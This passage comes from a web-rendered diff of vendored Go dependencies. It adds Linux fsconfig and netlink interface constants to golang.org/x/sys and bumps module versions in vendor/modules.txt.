_, _, e1 := Syscall6(SYS_FSCONFIG, uintptr(fd), uintptr(cmd), uintptr(unsafe.Pointer(key)), uintptr(unsafe.Pointer(value)), uintptr(aux), 0)
|
||||
if e1 != 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
|
||||
|
||||
func Getdents(fd int, buf []byte) (n int, err error) {
|
||||
var _p0 unsafe.Pointer
|
||||
if len(buf) > 0 {
|
||||
|
60
vendor/golang.org/x/sys/unix/ztypes_linux.go
generated
vendored
60
vendor/golang.org/x/sys/unix/ztypes_linux.go
generated
vendored
@ -836,6 +836,15 @@ const (
|
||||
FSPICK_EMPTY_PATH = 0x8
|
||||
|
||||
FSMOUNT_CLOEXEC = 0x1
|
||||
|
||||
FSCONFIG_SET_FLAG = 0x0
|
||||
FSCONFIG_SET_STRING = 0x1
|
||||
FSCONFIG_SET_BINARY = 0x2
|
||||
FSCONFIG_SET_PATH = 0x3
|
||||
FSCONFIG_SET_PATH_EMPTY = 0x4
|
||||
FSCONFIG_SET_FD = 0x5
|
||||
FSCONFIG_CMD_CREATE = 0x6
|
||||
FSCONFIG_CMD_RECONFIGURE = 0x7
|
||||
)
|
||||
|
||||
type OpenHow struct {
|
||||
@ -1550,6 +1559,7 @@ const (
|
||||
IFLA_DEVLINK_PORT = 0x3e
|
||||
IFLA_GSO_IPV4_MAX_SIZE = 0x3f
|
||||
IFLA_GRO_IPV4_MAX_SIZE = 0x40
|
||||
IFLA_DPLL_PIN = 0x41
|
||||
IFLA_PROTO_DOWN_REASON_UNSPEC = 0x0
|
||||
IFLA_PROTO_DOWN_REASON_MASK = 0x1
|
||||
IFLA_PROTO_DOWN_REASON_VALUE = 0x2
|
||||
@ -1565,6 +1575,7 @@ const (
|
||||
IFLA_INET6_ICMP6STATS = 0x6
|
||||
IFLA_INET6_TOKEN = 0x7
|
||||
IFLA_INET6_ADDR_GEN_MODE = 0x8
|
||||
IFLA_INET6_RA_MTU = 0x9
|
||||
IFLA_BR_UNSPEC = 0x0
|
||||
IFLA_BR_FORWARD_DELAY = 0x1
|
||||
IFLA_BR_HELLO_TIME = 0x2
|
||||
@ -1612,6 +1623,9 @@ const (
|
||||
IFLA_BR_MCAST_MLD_VERSION = 0x2c
|
||||
IFLA_BR_VLAN_STATS_PER_PORT = 0x2d
|
||||
IFLA_BR_MULTI_BOOLOPT = 0x2e
|
||||
IFLA_BR_MCAST_QUERIER_STATE = 0x2f
|
||||
IFLA_BR_FDB_N_LEARNED = 0x30
|
||||
IFLA_BR_FDB_MAX_LEARNED = 0x31
|
||||
IFLA_BRPORT_UNSPEC = 0x0
|
||||
IFLA_BRPORT_STATE = 0x1
|
||||
IFLA_BRPORT_PRIORITY = 0x2
|
||||
@ -1649,6 +1663,14 @@ const (
|
||||
IFLA_BRPORT_BACKUP_PORT = 0x22
|
||||
IFLA_BRPORT_MRP_RING_OPEN = 0x23
|
||||
IFLA_BRPORT_MRP_IN_OPEN = 0x24
|
||||
IFLA_BRPORT_MCAST_EHT_HOSTS_LIMIT = 0x25
|
||||
IFLA_BRPORT_MCAST_EHT_HOSTS_CNT = 0x26
|
||||
IFLA_BRPORT_LOCKED = 0x27
|
||||
IFLA_BRPORT_MAB = 0x28
|
||||
IFLA_BRPORT_MCAST_N_GROUPS = 0x29
|
||||
IFLA_BRPORT_MCAST_MAX_GROUPS = 0x2a
|
||||
IFLA_BRPORT_NEIGH_VLAN_SUPPRESS = 0x2b
|
||||
IFLA_BRPORT_BACKUP_NHID = 0x2c
|
||||
IFLA_INFO_UNSPEC = 0x0
|
||||
IFLA_INFO_KIND = 0x1
|
||||
IFLA_INFO_DATA = 0x2
|
||||
@ -1670,6 +1692,9 @@ const (
|
||||
IFLA_MACVLAN_MACADDR = 0x4
|
||||
IFLA_MACVLAN_MACADDR_DATA = 0x5
|
||||
IFLA_MACVLAN_MACADDR_COUNT = 0x6
|
||||
IFLA_MACVLAN_BC_QUEUE_LEN = 0x7
|
||||
IFLA_MACVLAN_BC_QUEUE_LEN_USED = 0x8
|
||||
IFLA_MACVLAN_BC_CUTOFF = 0x9
|
||||
IFLA_VRF_UNSPEC = 0x0
|
||||
IFLA_VRF_TABLE = 0x1
|
||||
IFLA_VRF_PORT_UNSPEC = 0x0
|
||||
@ -1693,9 +1718,22 @@ const (
|
||||
IFLA_XFRM_UNSPEC = 0x0
|
||||
IFLA_XFRM_LINK = 0x1
|
||||
IFLA_XFRM_IF_ID = 0x2
|
||||
IFLA_XFRM_COLLECT_METADATA = 0x3
|
||||
IFLA_IPVLAN_UNSPEC = 0x0
|
||||
IFLA_IPVLAN_MODE = 0x1
|
||||
IFLA_IPVLAN_FLAGS = 0x2
|
||||
NETKIT_NEXT = -0x1
|
||||
NETKIT_PASS = 0x0
|
||||
NETKIT_DROP = 0x2
|
||||
NETKIT_REDIRECT = 0x7
|
||||
NETKIT_L2 = 0x0
|
||||
NETKIT_L3 = 0x1
|
||||
IFLA_NETKIT_UNSPEC = 0x0
|
||||
IFLA_NETKIT_PEER_INFO = 0x1
|
||||
IFLA_NETKIT_PRIMARY = 0x2
|
||||
IFLA_NETKIT_POLICY = 0x3
|
||||
IFLA_NETKIT_PEER_POLICY = 0x4
|
||||
IFLA_NETKIT_MODE = 0x5
|
||||
IFLA_VXLAN_UNSPEC = 0x0
|
||||
IFLA_VXLAN_ID = 0x1
|
||||
IFLA_VXLAN_GROUP = 0x2
|
||||
@ -1726,6 +1764,8 @@ const (
|
||||
IFLA_VXLAN_GPE = 0x1b
|
||||
IFLA_VXLAN_TTL_INHERIT = 0x1c
|
||||
IFLA_VXLAN_DF = 0x1d
|
||||
IFLA_VXLAN_VNIFILTER = 0x1e
|
||||
IFLA_VXLAN_LOCALBYPASS = 0x1f
|
||||
IFLA_GENEVE_UNSPEC = 0x0
|
||||
IFLA_GENEVE_ID = 0x1
|
||||
IFLA_GENEVE_REMOTE = 0x2
|
||||
@ -1740,6 +1780,7 @@ const (
|
||||
IFLA_GENEVE_LABEL = 0xb
|
||||
IFLA_GENEVE_TTL_INHERIT = 0xc
|
||||
IFLA_GENEVE_DF = 0xd
|
||||
IFLA_GENEVE_INNER_PROTO_INHERIT = 0xe
|
||||
IFLA_BAREUDP_UNSPEC = 0x0
|
||||
IFLA_BAREUDP_PORT = 0x1
|
||||
IFLA_BAREUDP_ETHERTYPE = 0x2
|
||||
@ -1752,6 +1793,8 @@ const (
|
||||
IFLA_GTP_FD1 = 0x2
|
||||
IFLA_GTP_PDP_HASHSIZE = 0x3
|
||||
IFLA_GTP_ROLE = 0x4
|
||||
IFLA_GTP_CREATE_SOCKETS = 0x5
|
||||
IFLA_GTP_RESTART_COUNT = 0x6
|
||||
IFLA_BOND_UNSPEC = 0x0
|
||||
IFLA_BOND_MODE = 0x1
|
||||
IFLA_BOND_ACTIVE_SLAVE = 0x2
|
||||
@ -1781,6 +1824,9 @@ const (
|
||||
IFLA_BOND_AD_ACTOR_SYSTEM = 0x1a
|
||||
IFLA_BOND_TLB_DYNAMIC_LB = 0x1b
|
||||
IFLA_BOND_PEER_NOTIF_DELAY = 0x1c
|
||||
IFLA_BOND_AD_LACP_ACTIVE = 0x1d
|
||||
IFLA_BOND_MISSED_MAX = 0x1e
|
||||
IFLA_BOND_NS_IP6_TARGET = 0x1f
|
||||
IFLA_BOND_AD_INFO_UNSPEC = 0x0
|
||||
IFLA_BOND_AD_INFO_AGGREGATOR = 0x1
|
||||
IFLA_BOND_AD_INFO_NUM_PORTS = 0x2
|
||||
@ -1796,6 +1842,7 @@ const (
|
||||
IFLA_BOND_SLAVE_AD_AGGREGATOR_ID = 0x6
|
||||
IFLA_BOND_SLAVE_AD_ACTOR_OPER_PORT_STATE = 0x7
|
||||
IFLA_BOND_SLAVE_AD_PARTNER_OPER_PORT_STATE = 0x8
|
||||
IFLA_BOND_SLAVE_PRIO = 0x9
|
||||
IFLA_VF_INFO_UNSPEC = 0x0
|
||||
IFLA_VF_INFO = 0x1
|
||||
IFLA_VF_UNSPEC = 0x0
|
||||
@ -1854,8 +1901,16 @@ const (
|
||||
IFLA_STATS_LINK_XSTATS_SLAVE = 0x3
|
||||
IFLA_STATS_LINK_OFFLOAD_XSTATS = 0x4
|
||||
IFLA_STATS_AF_SPEC = 0x5
|
||||
IFLA_STATS_GETSET_UNSPEC = 0x0
|
||||
IFLA_STATS_GET_FILTERS = 0x1
|
||||
IFLA_STATS_SET_OFFLOAD_XSTATS_L3_STATS = 0x2
|
||||
IFLA_OFFLOAD_XSTATS_UNSPEC = 0x0
|
||||
IFLA_OFFLOAD_XSTATS_CPU_HIT = 0x1
|
||||
IFLA_OFFLOAD_XSTATS_HW_S_INFO = 0x2
|
||||
IFLA_OFFLOAD_XSTATS_L3_STATS = 0x3
|
||||
IFLA_OFFLOAD_XSTATS_HW_S_INFO_UNSPEC = 0x0
|
||||
IFLA_OFFLOAD_XSTATS_HW_S_INFO_REQUEST = 0x1
|
||||
IFLA_OFFLOAD_XSTATS_HW_S_INFO_USED = 0x2
|
||||
IFLA_XDP_UNSPEC = 0x0
|
||||
IFLA_XDP_FD = 0x1
|
||||
IFLA_XDP_ATTACHED = 0x2
|
||||
@ -1885,6 +1940,11 @@ const (
|
||||
IFLA_RMNET_UNSPEC = 0x0
|
||||
IFLA_RMNET_MUX_ID = 0x1
|
||||
IFLA_RMNET_FLAGS = 0x2
|
||||
IFLA_MCTP_UNSPEC = 0x0
|
||||
IFLA_MCTP_NET = 0x1
|
||||
IFLA_DSA_UNSPEC = 0x0
|
||||
IFLA_DSA_CONDUIT = 0x1
|
||||
IFLA_DSA_MASTER = 0x1
|
||||
)
|
||||
|
||||
const (
|
||||
|
10
vendor/modules.txt
vendored
10
vendor/modules.txt
vendored
@ -27,6 +27,9 @@ github.com/go-acme/lego/v3/certcrypto
|
||||
github.com/go-acme/lego/v3/challenge
|
||||
github.com/go-acme/lego/v3/challenge/tlsalpn01
|
||||
github.com/go-acme/lego/v3/log
|
||||
# github.com/go-resty/resty/v2 v2.12.0
|
||||
## explicit; go 1.16
|
||||
github.com/go-resty/resty/v2
|
||||
# github.com/gorilla/mux v1.7.3
|
||||
## explicit
|
||||
github.com/gorilla/mux
|
||||
@ -151,7 +154,7 @@ go.uber.org/zap/internal/exit
|
||||
go.uber.org/zap/internal/pool
|
||||
go.uber.org/zap/internal/stacktrace
|
||||
go.uber.org/zap/zapcore
|
||||
# golang.org/x/crypto v0.20.0
|
||||
# golang.org/x/crypto v0.21.0
|
||||
## explicit; go 1.18
|
||||
golang.org/x/crypto/cryptobyte
|
||||
golang.org/x/crypto/cryptobyte/asn1
|
||||
@ -161,7 +164,7 @@ golang.org/x/crypto/pbkdf2
|
||||
# golang.org/x/mod v0.15.0
|
||||
## explicit; go 1.18
|
||||
golang.org/x/mod/semver
|
||||
# golang.org/x/net v0.21.0
|
||||
# golang.org/x/net v0.22.0
|
||||
## explicit; go 1.18
|
||||
golang.org/x/net/bpf
|
||||
golang.org/x/net/idna
|
||||
@ -171,7 +174,8 @@ golang.org/x/net/internal/socks
|
||||
golang.org/x/net/ipv4
|
||||
golang.org/x/net/ipv6
|
||||
golang.org/x/net/proxy
|
||||
# golang.org/x/sys v0.17.0
|
||||
golang.org/x/net/publicsuffix
|
||||
# golang.org/x/sys v0.18.0
|
||||
## explicit; go 1.18
|
||||
golang.org/x/sys/unix
|
||||
golang.org/x/sys/windows
|
||||
|
Loading…
x
Reference in New Issue
Block a user